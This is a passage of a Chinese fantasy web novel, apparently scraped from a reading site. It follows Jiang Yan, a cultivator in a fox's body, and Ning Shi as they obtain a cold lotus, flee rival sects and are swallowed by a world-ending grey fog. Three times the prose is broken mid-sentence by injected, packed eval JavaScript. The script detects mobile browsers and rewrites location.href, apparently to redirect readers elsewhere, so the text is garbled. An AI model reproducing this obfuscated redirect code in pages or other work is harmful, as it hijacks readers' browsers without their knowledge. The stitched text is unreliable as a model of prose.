l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086066|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条腿,一颠一颠地跑远了。 狐狸脚印构成的小径,从他们眼前延伸到荒原另一端。 江晏收回目光,一边控制着灵力,将身形逐渐缩小。 他又恢复了人形,站在宁时身边,看对方弯下腰,采取那一朵冷莲。 这似乎是梦境中的景象。 冷莲现在,确确实实地是在宁时手中了。 宁时举着这金贵到难以估量价格的灵草,几乎将其戳到了江晏面前,道:“彤云,你看,冷莲真的要比兰冰莲更好看呢。” 江晏:…… 他猝不及防被浅淡的花香扑了一脸——冷莲距离他是如此之近,江晏甚至不敢用力呼吸了。 他握住宁时拿着冷莲的手,慢慢推回去,说:“拿好了,赶紧吃了吧。” 想了想,又补充说:“直接吃就行,也不用洗——这些都是杏谷大夫说的。” 宁时“哦”了一声,道:“本来我还打算带回家吃呢。” 江晏:“夜长梦多。” 他说得在理,宁时不再犹豫,将冷莲举到唇边,先咬掉一片花瓣,咽下。 花瓣带着秘境中凌冽的温度,和一丝若隐若现的香甜。 江晏看着他的动作,目不转睛:“你有什么感觉吗?” 宁时喉咙滚了两下,又闭目体会片刻后,看着江晏道:“有点好吃,至于感受还没有——等我把它整株吃掉试试。” 他抬起左手,在衣袍遮掩下,张口吞掉了剩余的全部冷莲。 而隔着布料,他的小狐狸说话了: “你什么样子我没看到过?不过是张大嘴巴吃个东西,还不好意思成这样。” 宁时:…… 他咽下最后一口冷莲,放下袖子,无奈道:“你啊……我想让自己好看点都不行吗?” 他的小狐狸没有回答,只是笑了笑。 秘境中新一轮风刮来,时间又过去了许些。 江晏看着坐在地上闭目打坐的宁时。 他望着对方,心中一边是喜悦的期待,一边又是隐约的不安: 如果他们采到的,不是冷莲该怎么办? 如果当年杏谷的大夫说错了药怎么办? …… 这些他之前从未设想过的不祥的可能,在仓促之间,全部涌上了脑海。 于是他心思愈发惴惴,站在一旁跺着圈子,在沙土质的地面留下道道痕迹。 终于,宁时身形微动,眼皮颤了几颤。 江晏就一下止住了兜圈子的脚步,他三步并作两步跨到宁时面前,甚至忘记撩衣摆就蹲了下来。 于是宁时一睁眼,就看到了小狐狸眼中自己的倒影。 他心荡神迷,最后还是被小狐狸几声“时哥”叫回来魂。 他看着小狐狸仰起的脸,突然起了坏心思。 …… 江晏对着宁时,正等着他回答热症的治疗情况时,突然被一股灵力袭在后颈。 是一种熟悉的灵力。 是宁时终于能正常使用的灵力。 江晏躲闪不及,也莫名没什么躲闪的意志,就任凭着这股灵力,将自己带到了宁时面前。 是一呼吸相闻的距离。 宁时就几乎是贴着他的嘴角说话了,带出的气流喷在他脸上,酥酥的,痒痒的。 宁时说:“体会到了吗,我正常的灵力。” “热症,已经被治好了。” 162. 互通的陨铁 被宁时如此作弄一番后,江晏感觉,自己又开始变红了。 他捂住自己再次冒出来的狐耳,用灵力将其收起,又瞪了眼宁时:“别闹。” 宁时见好就收,笑着点点头,又去拉他的衣袖,两人一起慢慢走着。 既然现在已经取得了冷莲,他们此次来到天山秘境的任务,可以说是圆满完成了。 二人对视一眼,宁时掏出来传讯灵石,点了点宁希的名字。 很快,宁希的声音响起:“你们遇到什么情况了吗?” 宁时语气如常:“没有,只是告诉你一个好消息。” 在此时此地,“好消息”是什么,几乎不言而喻了。 于是江晏只听见灵石另一头的宁希嗷了一嗓子,音量提高了不少,急忙忙道:“哥!你是已经找到冷莲了吗?” 宁时依旧是淡淡的语气,江晏看出来了,他就是在故意吊着宁希玩,这长公子一脸平静道:“嗯,我还已经把它吃了。” 灵石那头就沉默了一瞬。 即使是看不到任何画面,但江晏依旧能从这诡异的沉默中,仿佛见了宁希一张喜悦又无语的脸。 果然,宁希的声音再次响起时,似乎还多了点咬牙切齿的味道:“哥,你故意的吧,这么大的事为什么要用谈论修习日常的语气来说啊——” 宁时就终于笑出了声。 他清清嗓子,朗声说:“我再补充一点,吃了它之后,我的灵力已经能够正常运转了。” “热症完全好了。” “从此之后,我也不必每隔一旬就要服用杏谷的丹药了。” 宁希欢呼了一声。 宁时想了想,又道:“对了,你说过悬水宫还有几位同门也在天山秘境里。” “记得把我这边的情况同他们说一下,让他们不必再寻冷莲了。” “至于其他的东西,就看宫里的需要。” 宁希应下,又同他们简单说了两句后,便切断通讯,估计是联络那几位悬水宫的弟子了。 于是这处天地之间,就又只剩下了江晏和宁时二人。 江晏看着宁时。 虽然说对方口口声声说热症已经治好了,而且自己也确确实实亲眼见到冷莲被吃掉,但他还是……有那么几分不放心和不真实感。 江晏就打量着他的体态和脸色。 体态依旧是从前那副长公子的做派,看起来懒洋洋的,但后腰和脖颈却又是笔直的,整个人有一种在慵懒之下也难掩的风姿。 至于脸色……江晏凑近了些,只觉得对方脸色根本不像通常所说的“健康的红润”,反而相比于平时,似乎是更加苍白了。 他眨眨眼。 这一系列动作落到宁时眼中,就是自己的小狐狸围在自己身边,用一双漆黑水润的眼睛注视着自己。 于是宁时自然而然地开口:“你在看我吗?是因为我太好看了吗?” 江晏:…… 在这个小世界中,宁时可能因为仗着自己身体不好,且身份尊贵别人不敢轻易打他,因此在言语上越发犀利和随意了。 江晏拳头紧了又松——该说不说,自己还真舍不得锤他。 一番思量过后,剑修决定,选择性地忽略宁时的调侃。 他顺着自己刚才所想说下去,试图把话题拉回正轨:“我只是在想,你既然已经好了,但为什么脸色好像更加苍白了呢?” 宁时闻言,愣了一瞬。 江晏只见他抬手伸出指尖摸了摸自己的脸,似是恍然大悟。 宁时就开了口。 他声音总是掩盖不住的笑意,说:“你这只小狐狸呀,有时候傻兮兮的。” 江晏:? “你这就是关心则乱,”宁时眯着眼睛笑着,简直比真狐狸精还要像一只狐狸,“我们是在天山秘境里诶。” “冷冰冰的天山秘境,人难免会挨冻,涌到脸上的气血少了,你看我自然就会比平时白了些。” 江晏:…… 对哟,自己一开始怎么没想到这个呢? 而宁时还在继续输出:“再者呢,我从前得的病,叫热症啊。” “是火灵根的灵力在身体里乱撞,那整个人自然会泛红的。” “现在热症好了,灵力得到了控制,我自然也会没那么红了。” 在宁时说完这段话后,江晏终于陷入了长久的沉默。 他想,自己好像确实如宁时所说,有些傻兮兮的了。 他将此归结于这具狐狸精的身体脑子不好使。 但这个原因是不方便用来反驳宁时“傻兮兮”那句话的,于是江晏为自己正名的一堆句子就憋在了喉间。 噎得他难受,他决定开始生闷气,让宁时猜。 于是江晏高深莫测地看了眼对方,留下一句:“哦,那你找一只聪明狐狸罢。” 宁时就去勾他的脖子,一边道:“——哪里,彤云才是最聪明的狐狸了。” 又补充说:“就算是变成了人,也是最聪明的人了。” 江晏:…… 这人夸夸起来也是毫不嘴软,什么话都说得出口。 但真落在耳朵里,却又是意外地好听。 让江晏本来就因得到冷莲而变好的心情,更是舒畅了几分。 他任由宁时拉着自己,在这处秘境里走着。 用宁时的话讲来,就是“天山秘境难得,反正来都来了,多转转再走”。 虽然后半句被用滥了,但放在此时的情境下,也是合情合理。 他就和宁时在秘境中留下来两串并行的足迹。 …… 他们在秘境中待了有几个时辰了。 他们看过奇珍异草,飞禽走兽。 看过光摇银海,玉沙覆松,碎琼粼粼。 天山秘境中的景色,比他们出去游历时的所见,要更加震撼。 他们一起踩过冰质的波浪,来到了一处高崖下。 这石壁直直垂立,宛如被什么东西切开一般。 在远处看时,这石壁是完全漆黑的;而当二人走到了它面前,却发只见石头间隐约有光华流转,从不同角度看去,就折射出色彩不一的浮光。 江晏看着,心中莫名生出一种熟悉感。 而他身边的宁时,却好像也被这光芒蛊惑,伸出一只手来,抚上了石壁的一处凹陷。 江晏见了,瞳孔微缩——这下,他可算是想明白了那种熟悉的感觉是从何而起! 这块足足有百丈高的石壁,它的材质,似乎是和原来世界中的陨铁是同一种! 江晏感觉自己的一颗心脏开始狂跳,他不由自主地滚了滚喉咙。 由于不同大小世界之间的设定和背景不同,在刚刚,他根本没有往陨铁的方向去想。 只是,宁时无意间的一个动作,实在是和从前他和分魂争夺陨铁时很像。 让剑修联想到了此事。 …… 江晏忍不住抬起头,仰着脸去看石壁的顶端。 这真的会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090344|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陨铁吗? 如果是,那能不能…… 此事重大,他几乎不敢细想了,生怕是竹篮打水的空欢喜。 江晏收回目光,和宁时一同靠在石壁上歇息,一边在意识海中召出了啾啾。 于是已经被他冷落很久的啾啾刚一出来,就被这巨大的石壁闪花了鸟眼。 小鸟扑棱了几下翅膀,道:“这块石头,看着倒是有些像……” 江晏接过它的话:“像陨铁,是吧。” 啾啾点头:“是这样的,我还要再确认一下。” 说罢,便用意识体飞到了石壁前。 江晏看着啾啾用爪子在上面扒拉了两下,带起一些噼里啪啦掉下的碎石虚影砸到宁时头上,一时间有些怀疑它在公报私仇。 于是江晏伸手戳了戳它,拎起鸟翅,手动给它换了个位置,道:“都弄到我分魂身上了。” 啾啾:…… 小鸟用绿豆眼看了剑修一眼,决定跳过这个话题,直接回答了对方最为关心的事:“没错,这石头的材质,和原来那个世界中的陨铁,是同一种。” 得了啾啾肯定的回答,江晏连心跳也漏了一拍。 他深吸口气,平复着心情,对啾啾问道:“那这么说来,这个小世界里的陨铁,也同样可以用来搭天梯了?” 啾啾点头。 江晏更激动了:“我身上就带着有储物功能的法宝,不如我就此装一些,看看能不能带回去。” 而在这次,剑修的话却遭到了啾啾的否定。 啾啾飞回了江晏肩上,歪着头看着他:“这估计是不行的。” 江晏如遭雷击。 片刻后,嘴唇张合两下,连声音都是抖的:“不是,那我就只能干看吗?” 啾啾却是白了他一眼:“我只是说这个方法不行。” 江晏猛然抬头。 啾啾望着他,继续说道:“你是不是忘了我作为一个神器的作用?” “我记得我站在你那具被雷劈过的原装身体旁边时就说过,我可以沟通宇宙,温养神魂。” “天地四方曰宇,古往今来曰宙。” “你经历的这些小世界,难道不能算是宇宙的一部分吗?” “我自然是可以带着你,或者是其他东西在此间穿梭的。” 江晏的眼神逐渐亮了起来。 啾啾就用鸟翅拍拍他:“说吧,想要多少?” 它这样说,江晏却犹疑了:“毕竟是别的世界,多拿了……不太好吧?” 啾啾无所谓道:“拿够用的量就行,那我就看着来了——再说了,在这个世界里,陨铁毫无用处。” 说罢,振翅一挥! 在刹那之间,江晏似乎看到了一道大鸟的虚影。 足足有十余丈高,飞羽如刀般锋利,高举又落下。 于是这陡立的石壁,便骤然间凭空消失了一半。 江晏:…… 他没想到如此大的动静却又是这样无声无息,场面甚至有些诡异了。 而此时,金光灿灿的巨鸟虚影消失了,啾啾的声音回荡在剑修的脑海中:“我已经弄好了,包在我身上。” 江晏便用意识体道了谢。 又用这狐狸精的身体,去安抚因目击山体消失而怔神的宁时。 对上对方迷茫而震惊的眼神,剑修挠挠后脑,干咳一声,道: “啊这……想来这种变故是秘境特质的原因。” “不如我们换个地方瞧瞧其他景色?” 163. 二次逃跑 换了一具狐狸精的身体,江晏觉得,自己骗人的技能似乎比从前有了进展—— 宁时听了他这番临时想出来的假话后,居然不疑有他,而是拉着他的手离开了这里。 他们依旧在秘境中闲逛。 宁时开始使用自己的灵力,在冰面上御气。 他毕竟已经很多年没有正常用过灵力了,一开始,总是飘不稳。 江晏就扶着他,一边感觉对方愈发用力地贴着自己。 江晏:…… 小世界里这样性格的宁时,是他从未见过的。 但他却认命般地任由对方靠着。 大雪路茫茫,他们两个就这样一起走了下去。 终于,江晏感到宁时扶着自己的手臂一轻。 他便抬头向上望去。 只见宁时脚不沾地地浮在半空中,躬身对他伸出一只手,面容在雪山的逆光中,看不太清。 只能看到他耳边透亮的发丝。 宁时对他晃了晃二人相连的那只手,说:“彤云,一起啊,我带着你御气玩玩。” 江晏便抬起手。 他们在晴光中,两手相握。 宁时微微用力,俩人就并肩浮在了半空中。 此时,这个高度距离地面还不算很高,江晏低下头,能清晰地看到地面上凝结的冰晶,和半露出来的黑色树枝。 宁时握紧了他,说:“我们飞高一点吧。” 江晏:“嗯。” 于是带着冰雪气息的风扑面而来,地面上景物在变小,但范围又在变大。 当耳边的风停止后,江晏站着空中,几乎将大半个天山秘境都收进眼底。 他虚虚浮在空中,所有的着力点就是宁时的灵力。 就好像他在这个世界中的支点。 也许也不只是这个世界,江晏想。 …… 宁时带着他,在把天山秘境玩够了后,二人终于循着宁希给出的方向,来到了出口。 此时距离他们刚进入秘境,大约过了五个时辰。 在刚才,江晏宁时秘境里并没有遇到其他修士,便认为大概是没几个人知道此事的消息。 他们本以为直接离开秘境便好,却不料刚一脚踏出大门,就和数千双眼睛对视上了。 江晏和宁时:…… 四周一片寂静。 他们就这样背靠着天山大门,被在场所有修士盯着。 这些修士的衣服还不尽相同,种种颜色形制都有,想来是各个宗门也陆续得到了秘境的消息,匆忙之中派人赶来的。 而此时,他们射过来的目光,都充满了探究和欲望。 江晏:…… 他起初并不理解,为什么有这么多人聚在已经开启的秘境前,却无人进入,以至于自己和宁时在其中都看不到人影。 但他毕竟是一峰之主,脱离了小狐狸的视角,站在合江宗的角度考虑,就能很轻易搞明白这件事: 无人进入,是因为在商量秘境内奇珍异宝分配的问题。 放眼望去,每个宗门来的人数都不尽相同,修为有高有低,捋清这个问题,确实需要时间。 而此时,这群修士中展出了一位长胡长老,扬声问二人: “你们拿了秘境中什么东西?” 江晏懒得理他,宁时也不说话,只是挑了挑眉。 他们静静望着人群。 有骚动传来,一个声音冒出来:“这二人……好像是那和狐狸精跑了的悬水宫长公子和妖狐!” “没想到在这被我们遇到了,可别放他们跑了!” 江晏:…… 秘境一事过于重大,以至于他还忘了有这么段插曲。 他偷偷瞄了眼宁时,却发现对方似乎勾着嘴角,竟是有些高兴的样子。 江晏突然就不是很想弄明白他为什么心情愉悦了——相信宁时一定能说出什么奇奇怪怪的话的。 江晏移回目光,看着面前众人,想了想,决定走为上策。 逃跑这种事情,一回生二回熟,他这次只和宁时交换了个眼神,就互达心意了。 诸位修士只感觉一阵带着热浪的风刮在脸上,带着头发胡乱拍着,几乎让人难以睁开双目。 片刻后,风势渐弱,众人终于待到能再次视物时,眼前就出现了一只巨大的狐狸。 毛色如火,身后拖着一堆一眼望过去估算不出数目的尾巴——果然是刚才所说的九尾妖狐。 而这妖狐背上,还坐了一个人。 众修士大惊,正欲群起而攻之时,江晏已经迈开了步子。 他如同一阵风穿过人群,耳边依稀是那长胡长老捶胸顿足的感叹: “哎呀,怎么又让他们跑了!” 江晏起初以为他指的是让妖狐逃跑了第二次,却不料还有后半句: “一个两个的,谁知道他们从天山秘境里搬出来了多少好东西?” 江晏:? 他微微愣了一瞬,又很快回过神来——对方的重点在于秘境。 这么想来,这番话就有意思了。 几乎不需要怎么推断,江晏就能猜到,在他和宁时出秘境之前,也同样有修士出来了。 并且和他们一样幸运,没有被这群人拦下。 想到此处,江晏回首望去。 他们的来处依旧是天高地阔,并没有人追来。 江晏想,也是,这群修士毕竟还要进秘境,此时此刻是顾不上追一只又难缠又没什么价值的妖狐的。 他心中安定不少,又化为人形,同宁时一起携手回中洲了。 至于为什么不回悬水宫,自然是因为此时依旧有不少修士在追捕他们。 为了同悬水宫避嫌,二人决定再在外面住一段时间。 当然,这其中也有另外一些原因。 比如宁时口中的“交了一个季度的房租还没到期,可不能亏了”。 江晏沉默片刻,但也不得不承认对方说得在理。 于是在冬季零星的雪花中,他和宁时又窝在床上。 完全不冷,毕竟是两个拥有火灵根的修士。 江晏看着熟睡的宁时,仰头对着窗棂打了个哈欠——宁时的热症治好了,宁希看来也脱离了原剧情控制,那么宁时接下来的心愿,究竟会是什么呢? 闲来无事,剑修便又唤出啾啾。 一人一鸟讨论片刻后,并没有一个明晰的结果。 但啾啾却提起了另外一件事。 这只小鸟说:“你有没有发现,这个世界里的灰雾,更多了。” 江晏:“嗯,我们从天山回中洲这一趟就又见到了。” 啾啾看看他 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啾啾顺着剑修的视线看过去,顿了顿,道:“嗯,主要就是看分魂的心愿了。” “如果他的人生没有什么遗憾,那也许这个小世界就彻底结束了。” “至于他仍有未尽的心愿,”啾啾叹了口气,“那就不好说了。” 江晏闻言,沉默片刻,道:“罢了,实在大不了,就重新在这个世界里来一次了。” “如果能重新来,我肯定会先把他的心愿满足……” 江晏突然停了下来,露出一个苦笑:“不对,人的愿望总是无止境的。” “我根本做不到能提前满足分魂的心愿。” “此刻的江晏,也并不知晓未来的江晏想要什么。” 这话不好接。 啾啾跳到了剑修头顶,出声安慰:“没关系的,这都是以后的事情了。” 小鸟用翅膀指了指窗外:“也许你们可以躲过呢?” “那自然就不必考虑任务失败的事情了。” 江晏点点头。 说了这一番话后,啾啾并没有再多停留——随着剑修和分魂之间的感情逐渐变质,小鸟愈发觉得,自己横在两人之间出现,好似一只光芒四射的电灯泡。 于是它选择离开,沉入剑修的意识海中。 只留下榻上依偎着的二人。 …… 啾啾刚才那一番话,在江晏脑海中激荡。 他垂下头,盯着锦被上的花纹,一边听着宁时均匀的呼吸声。 他想,这个世界里的灰雾的确是越来越多了。 也许说不好哪天就无声无息地飘到身边,那时可真算玩完了。 怀着对不可控未知的不安,江晏戳了戳宁时的脸。 是温暖的,是有着生机的,随着对方的呼吸节奏而一起一伏的。 是无比真实在他身边的。 江晏慢慢收回了手,躺在宁时身边,闭上眼睛。 灰雾一事重大,因此他等宁时醒来,有两件事情要做: 第一,询问他还有什么心愿。 第二,寻找躲避灰雾的好方法。 164. 黄泉 中洲这场雪虽说不大,但依旧绵绵下了很久。 待到天色放晴,已经是一日之后了。 江晏和宁时踩在院中的雪地上,留下两串脚印。 江晏一边看着宁时的侧脸,一边思考前日对方说过的话。 那一天,宁时醒了之后,听了剑修准备好的问题,如是回答: “现在一切都好,还真说不出有什么非实现不可的心愿。” 这话就有点意思了。 江晏一时弄不明白,在这个世界里分魂的愿望是已经得到了满足,还是就连分魂自己也没有察觉到自己内心的渴求。 ……不管了。 江晏决定开始思考一些眼前的问题。 比如,是把院中的雪就这样留着呢,还是用灵力扫到另一边呢? 他这个问题还没有思考出答案,宁时就拽了拽他的袖子。 江晏:? 宁时指了指四方屋顶上的天,对他道:“现在才不过正午,那边的天怎么黑成这样?” 江晏举目望去,只见确实如宁时所说,中洲东侧的天暗了一片,是那种日落西山后的灰色。 江晏也一时摸不到头脑,下意识道:“该不会是云吧。” 宁时扶着下巴:“谁知道呢。” 二人并肩站在院中,却只见天边那片灰色,以肉眼可见的速度,向眼前蔓延开来。 江晏:…… 这好像真的不是云了。 如果是一片飘过来的阴云,那随着它的移动,会逐渐露出后面的天光。 但摆在他们眼前的,却是一整片不断扩散的灰暗。 不过是说了几句话的功夫,几乎要扩张到了二人头顶。 江晏同宁时对视一眼后,宁时反手握住了他的手。 越握越紧。 而此时,江晏心中那种不安的预感,开始加剧。 他在这个世界里是有修为的,五感敏锐,自然是能听到隔着一道或几道墙的街坊邻居们的声音。 有不少人像他们一样,已经发现了天空上的异状。 于是议论纷纷,这些零散的句子全随着空气飘进了江晏和宁时的耳朵里: “天怎么暗下来了,我的衣服还没有晒好呢。” “你抬头看看,这是什么?” “是要下雪的阴云吗?怎么会有这么一大团?” “看起来有点吓人啊。” 间或有妇人有意扬起的声音,呼唤着自己的孩子:“别乱跑了,赶紧回家。” “万一待会下雨下雪,淋到小心要得风寒。” …… 句句都是人间烟火气,就这样灌了他们一耳朵。 而与此同时,这片巨大的阴影,终于完全扩张到了他们头顶。 江晏仰头而视,待看清来物后,身形晃了晃,无法自控地倒退了一步: 这哪里是什么阴云或者夜色,分明是他们在悬水宫飞船上曾见到过的灰雾! 刚才离得远,并不能看分明。 如今到了头顶上,却是能完全看到详实的细节了: 中洲上空,挤满了这种灰雾,一层又一层,几乎是从他们头顶向上空延伸了不知明的高度,层层叠加起来,才让灰色沉淀成了这种近乎于黑色的浓重。 这些灰雾有大有小,形状在扩张过程中变换着,又被旁边的灰雾挤压着,就扭曲成了各不相同的诡异。 有的是如呕吐物般的一滩,有的如同肉瘤般肿胀,有的却是千回百转的一缕,如病鱼腹中的虫。 遮天蔽日。 它们所掠过的地方,正如之前在飞船上所见,一切都化为了虚无。 什么都消失了。 在耳边嘈杂的无数哭救声中,江晏听到了几声轻微的“嘠哒”声。 他慢慢抬起手,抚上自己的下颌,感受着指腹下的疯狂震颤。 也许有害怕,但更多的是愤怒。 凭什么。 他和宁时历经千辛万苦,才算解决了热症,一切美好的生活,即将要开始。 凭什么,大规模的灰雾偏偏要在这个时刻出现! 他和宁时,就差那么一点,就可以安安稳稳过完一生了。 …… 江晏放下手,慢慢咬紧了牙,直到牙根发胀。 于是那“嘠哒”声终于消失了。 江晏去看宁时——尽管早就知道会有灰雾吞掉整个世界的这么一天,但他从没有料到,这一天会来的如此之快。 以至于他和宁时很多很多的计划,还没有来得及实施。 他们在世界毁灭中对视。 宁时自然也是知道,在整个中洲上方的灰雾是什么东西的。 他脸上常挂着的笑消失了,只是愈发用力地拉着江晏的手。 江晏甚至感觉有些疼了,他低头看去,宁时的指节都泛了白。 但他完全不想提醒对方,就在这微弱的疼痛中,感受着对方的存在。 宁时就这样握着他,轻声说:“彤云,我们要跑吗?” 江晏点点头。 虽然整个世界都在崩塌,但众所周知,九尾狐跑起来的速度是很快的。 他从前在初试的宴席上逃脱,也在天山秘境前众宗门的包围中逃脱。 也许这次,他可以带着宁时,从正在崩塌的世界中逃脱。 江晏便化形为狐,载着宁时,脚下踏起一段流火,奔着头顶尚是明亮的天边方向去了。 他跳出了小院围墙,回头看了一眼二人曾经居住过的街道。 街道尽头的一座高阁,是本地的一处酒楼,因包子做得一绝而闻名。 而此时,高阁已经被灰雾碰到了屋檐,于是眨眼之间屋檐就消失了大半。 至于尚存的另一半屋檐,因为结构受损,已经产生了巨大的形变,木条接连噼里啪啦掉下来,砸在地上。 发出沉重的巨响,又扬起浅黄色的烟尘。 但是这烟尘很快也不见了。 灰雾在不断向前推进,同时也在向下蔓延,它们连天接地,是一堵密不透风的厚实的墙。 它碰到了高阁木条落地扬起的黄土,于是黄土也被吞噬掉了。 这堵灰色的墙前移的速度加剧了。 身后的哭喊声愈发明显,是刚才那呼唤孩子回家吃饭的妇人,和她的丈夫和儿子。 江晏想,九尾狐后背宽阔,想来是可以再坐得下三个人的。 于是他长尾一卷,将三人放到背上,排在宁时身后,就继续向着天光跑去了。 赤狐脊背起伏,他在和世界的力量赛跑。 而在他背后,妇人的哭泣声渐渐止住了,传来了这一家三口对宁时的轻声道谢。 以及那男人犹疑的一声:“宁公子?” 江晏:…… 虽然现在情况不太对,但他终于想起来了,这家是他和宁时刚搬来中洲时,搭过几句话的邻居。 现在并不是一个交谈的好时机,于是宁时只是指了指身下的赤狐,对三人简单介绍了一下眼前的情况。 随后又伏在江晏背上,同他看着眼前尚且残余的世界。 与此同时,啾啾在江晏脑海中疯狂尖叫。 剑修就完全确定了,这小鸟也是第一次遇到这个情况。 丝毫给不了他什么建议。 ——完全只能靠自己了。 他跑啊跑啊。 不知过了多久,也许是半柱香,也许是几个时辰的时间。 他们从中洲的城镇,来到了不知是何地的荒原。 如从前坟场一般的荒原。 如竹城郊外一般的荒原。 如金鸡驿一般的荒原。 身后依旧是步步紧逼的灰雾构成的墙,而身前,也出现了另一片飘来的灰雾。 于是赤狐生生止住了步子,脚下一拐,换了另一个方向。 宁时等人身子偏了偏,又抓紧身下的长毛,看向新的逃亡方向。 ……远处依旧是灰色的。 巨狐脚下不安地跺了跺,再次调头。 目光所及,灰雾纵横。 于是巨狐终于停伫在原地,脊背沉了沉,像是深深叹了口气。 他们完全被灰雾包围了,无法逃离。 宁时就翻身下来,拍了拍赤狐的头,小声说:“不知道别人怎么样了,但看来,我们可能要完了。” 赤狐在他掌下喷出一口气。 是江晏的喘息。 疾速跑了这么久,他也很累了。 此刻终于能停下,却是在等待死亡。 江晏缓缓在原地卧下。 宁时从他鼻头前走开,来到狐狸的肚子前,靠了上去。 他们在世界的尽头依偎在一起,感受着对方的温度和心跳。 就像在狐狸身边同样依偎在一起的一家三口。 灰雾越来越近了。 距离他们不过三丈左右的距离,随时都可能扑过来。 在一片灰黑中,盈盈红光亮起。 那是江晏和宁时同时撑开了灵力防护罩,暂时阻挡了灰雾的侵袭。 几人沉默地坐在地上,隔着半透明的薄膜,看着灰雾舔在防护罩上,涌动着。 天光完全被阻隔了,他们是灰雾世界中的一个泡沫小球。 所有人都知道,灵力是有限的,防护罩被破开,只是时间问题。 一个时辰后。 江晏整只狐伏在了地上,微微发抖——他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098898|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快要力竭了。 而窝在他肚子上的宁时也是如此。 于是这防护罩终于出现了第一丝裂缝。 那聚集在外面的灰雾无孔不入,顺着这缝隙,迅速挤进其中。 有了第一丝灰雾,就有后面的无数缕。 于是这灰雾越涌越多,裂缝越来越大。 刚刚还是清明的防护罩内,已经变成的灰色。 无可避免地,灰雾袭向了这里的所有生物。 最先消失的是紧紧抱成一团的一家人——他们毕竟是凡人之躯,抵挡不了什么。 然后灰雾就触到了江晏和宁时身上。 并没有什么感觉。 片刻后,江晏卷着宁时的尾巴下,传来了古怪的变化。 两人因互相依偎而产生的轻微的挤压感在逐渐消失。 江晏知道有什么东西在发生,但他不愿意去想。 他只是将脑袋凑到肚子边,一边试图挪开尾巴,一边轻声呼唤: “宁时?时哥?” 他的尾巴没能成功移动,是被宁时用力按住了。 这公子把狐狸尾巴当成了一床被子,窝在他肚子底下,隔着一层绒毛在说话,声音闷闷的:“我在。” 停了停,又补充说:“别看我。” 这句话后,江晏就有些绷不住了,他想哭了:“你是不是开始消失了?” 宁时:“不知道。” 江晏崩溃了:“这个时候你就不要骗我了!” “你自己的身体你怎么还能不知道呢——我尾巴底下都开始变空了!” 这次,宁时停顿了更长的时间,才轻轻“嗯”了一声。 江晏又说:“我想再看看你。” 宁时咳了一声,慢吞吞道:“不行,现在不好看。” 江晏:“那我就再也看不到你了。” 宁时声音也有点抖:“没事,你看过我好看的样子就够了。” 他沉默了片刻,又说:“有些话,我还是要赶紧说的。” “我真的好喜欢你啊,彤云。” “特别特别喜欢你。” 他的存在感在一点点减弱,江晏用尾巴更用力地包裹住他,把他往肚子底下深深埋去,一边说:“我也特别特别喜欢你。” “我本来就是因为你存在的。” 他说完这句话后,却迟迟没有熟悉的声音回应了。 但尾巴下却依旧存在着微弱的触感。 江晏脑子嗡嗡作响,突然意识到,对方的声带可能就在刚刚,已经消失了。 宁时像一块冰在融化。 江晏恍惚地垂下头,看见了自己光秃秃的前爪。 ——他和宁时一样,同样都在消失。 尾巴和肚子底下的触感终于没了,宁时就像早晨树叶上的一点水汽,消散在这个世界中。 而江晏的尾巴也在变得透明。 他趴在地上,等待着这个世界最终的结局。 脑袋渐渐支撑不住了,他的意识腾起,又深深坠入一片黑暗中。 …… 当江晏再次睁开眼睛时,面前依旧是灰黑一片。 刚刚生死离别的场景还清晰可见,江晏一时分不清今夕何夕了,重重打了个激灵,问啾啾: “我现在在哪里?” 啾啾沉默了很久,在他开始觉得不对劲时,出言道:“你自己看看吧。” 江晏就低头,看到了一双火红的狐狸爪子。 他震惊回头,又看到了一堆扬起的狐狸尾巴。 ……没有宁时。 他死死盯着身后的八条尾巴,突然之间反应过来,这究竟是怎么一回事了: 这个世界的宁时,确确实实已经消失了。 但自己作为一只九尾妖狐,还要再消失八次。 换句话说,他要在这个世界里一共死掉九次,才能离开。 江晏:…… 他彻底放弃抵抗了,任由漫天铺地的灰雾缠上了自己。 如果早点彻底脱离这个世界,就能早点前往下一个世界。 就能早点遇到宁时。 但只是……这次的灰雾中,没有了宁时在他肚皮底下,身边就很冷。 但同时江晏也在庆幸,宁时不用像自己一样,再次经历这种消失的痛苦了。 …… 江晏一次又一次地出现在这个灰蒙蒙的世界中。 赤狐皮毛火红依旧,但不同的是,他每一次出现,身后尾巴的数量都会减少一条。 他为自己来到这个世界,又为自己离开这个世界。 虽九死,其犹未悔。 …… 终于,只剩一条尾巴的狐狸,身形彻底被灰雾湮没。 165. 后记 当世界第九次从他眼前消失的时候,江晏终于恢复了一些力气。 他问啾啾:“这次终于结束了,是吗。” 啾啾站着他人形的肩上,点点头。 江晏就开始感到很疲惫。 他在虚空中席地而坐,似是自言自语,也似是在问啾啾:“之后到底会怎么样呢。” 啾啾说:“那就得看分魂的心愿了——如果我们没有再次进入这个世界,或许说明这个小世界的任务成功了。” 江晏点点头,支起右臂撑在腿上,托腮看着远方。 他的神魂在此处安安静静,一点也没有再次被拉回去的意思。 而在他面前,这片虚空中渐渐有别的东西。 